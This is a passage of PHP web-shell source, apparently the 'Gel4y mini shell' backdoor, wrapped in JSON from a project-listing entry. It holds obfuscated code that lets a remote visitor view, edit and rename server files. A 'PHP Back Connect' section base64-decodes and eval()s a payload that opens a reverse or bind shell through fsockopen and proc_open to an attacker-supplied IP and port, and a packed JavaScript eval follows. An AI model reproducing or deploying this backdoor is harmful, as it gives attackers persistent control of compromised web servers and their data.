class=\"form-control\"\u003e\u003c?php \n                                        echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET[\"n\"])));\n                                        ?\u003e\u003c/textarea\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eSave\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                                        isset($_POST[\"s\"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET[\"n\"]), $_POST[\"ctn\"]) ? bb5InvUgYH(\"file contents changed successfully\", rXefbN6heY($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXeFbN6Hey(\"view\", 0) . \"\u0026n={$_GET[\"n\"]}\") : BB5INVUgYh(\"file contents failed to change\", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;\n                                    } else {\n                                        if ($hzOvuJeFzz == 'rename') {\n                                            ?\u003e\n\u003ch5\u003eView \u003c?php \n                                            echo $_GET[\"t\"] == \"d\" ? \"folder\" : \"file\";\n                                            ?\u003e\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"n\"\u003eName :\u003c/label\u003e\u003cinput type=\"text\" name=\"n\" id=\"n\" class=\"form-control\" value=\"\u003c?php \n                                            echo rxeFBn6hEy($_GET[\"n\"]);\n                                            ?\u003e\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eSave\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                                            isset($_POST[\"s\"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET[\"n\"]), $_POST[\"n\"]) ? bB5invUGyH(\"successfully changed the name\", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh(\"failed to change the name\", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;\n                                        } else {\n                                            if ($hzOvuJeFzz == 'view') {\n                                                ?\u003e\n\u003ch5\u003eView file\u003c/h5\u003e\n\u003cspan\u003eFile name : \u003c?php \n                                                echo rXEfBN6HEy($_GET[\"n\"]);\n                                                ?\u003e\u003c/span\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"ctn\"\u003eContent :\u003c/label\u003e\u003ctextarea id=\"ctn\" cols=\"30\" rows=\"10\" class=\"form-control\" readonly\u003e\u003c?php \n                                                echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET[\"n\"])));\n                                                ?\u003e\u003c/textarea\u003e\n\u003c/div\u003e\n\u003c?php \n                                            } else {\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n                ?\u003e\n\u003c/div\u003e\n\u003c?php \n                ?\u003e\n\u003c/article\u003e\n\u003cdiv class=\"bg-dark border text-center mt-2 py-2\"\u003e\n\u003csmall\u003eCopyright \u0026copy; 2021 - Powered By Indonesian Darknet\u003c/small\u003e\n\u003c/div\u003e\n\u003c/main\u003e\n\u003cscript src=\"//code.jquery.com/jquery-3.5.1.slim.min.js\"\u003e\u003c/script\u003e\n\u003cscript src=\"//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js\"\u003e\u003c/script\u003e\n\u003cscript src=\"//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\neval(function(p, a, c, k, e, d) {\ne = function(c) {\nreturn(c \u003c a?'': e(parseInt(c/a)))+((c = c%a) \u003e 35?String.fromCharCode(c+29): c.toString(36))}; if (!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('E.n();$(\\'[2-m=\"4\"]\\').4();$(\".l\").k(j(e){e.g();h 0=$(6).5(\"2-0\");c({b:\"a\",9:\"o i q?\",w:\"D \"+0+\" p C B\",A:7,z:7,}).y((8)=\u003e{r(8){x 1=$(6).5(\"3\")+\"\u0026t=\"+((0==\"v\")?\"d\":\"f\");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\u003c?php \n            }\n        }\n        if ($hzOvuJeFzz == \"con\") {\n            ?\u003e\n\u003ch5\u003ePHP Back Connect\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"input-group mb-3\"\u003e\n\u003cinput type=\"text\" name=\"ip\" placeholder=\"\u003c?php \n            echo $_SERVER[\"REMOTE_ADDR\"];\n            ?\u003e\" class=\"form-control\"\u003e\n\u003cinput type=\"number\" name=\"port\" placeholder=\"\u003c?php \n            echo rand(1, 6) * 1922;\n            ?\u003e\" class=\"form-control\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eConnect\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n            if (isset($_POST['s'])) {\n                echo '\u003cdiv class=\"my-3\"\u003e';\n                $TkCbW35AQi = $_POST['ip'];\n                $g9_4Zq7xGB = $_POST['port'];\n                $rRwNpSflmI = base64_decode(\"Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=\");\n                $rRwNpSflmI = \"\\$target = \\\"{$g9_4Zq7xGB} {$TkCbW35AQi}\\\";\\n{$rRwNpSflmI}\";\n                eval($rRwNpSflmI);\n                echo 'Finished...';\n                echo '\u003c/div\u003e';\n            }\n        } else {\n            if ($hzOvuJeFzz == \"cfile\") {\n                ?\u003e\n\u003ch5\u003eNew file\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faabysszg%2Fgel4y-mini-shell-backdoor-decode","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faabysszg%2Fgel4y-mini-shell-backdoor-decode","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faabysszg%2Fgel4y-mini-shell-backdoor-decode/lists"}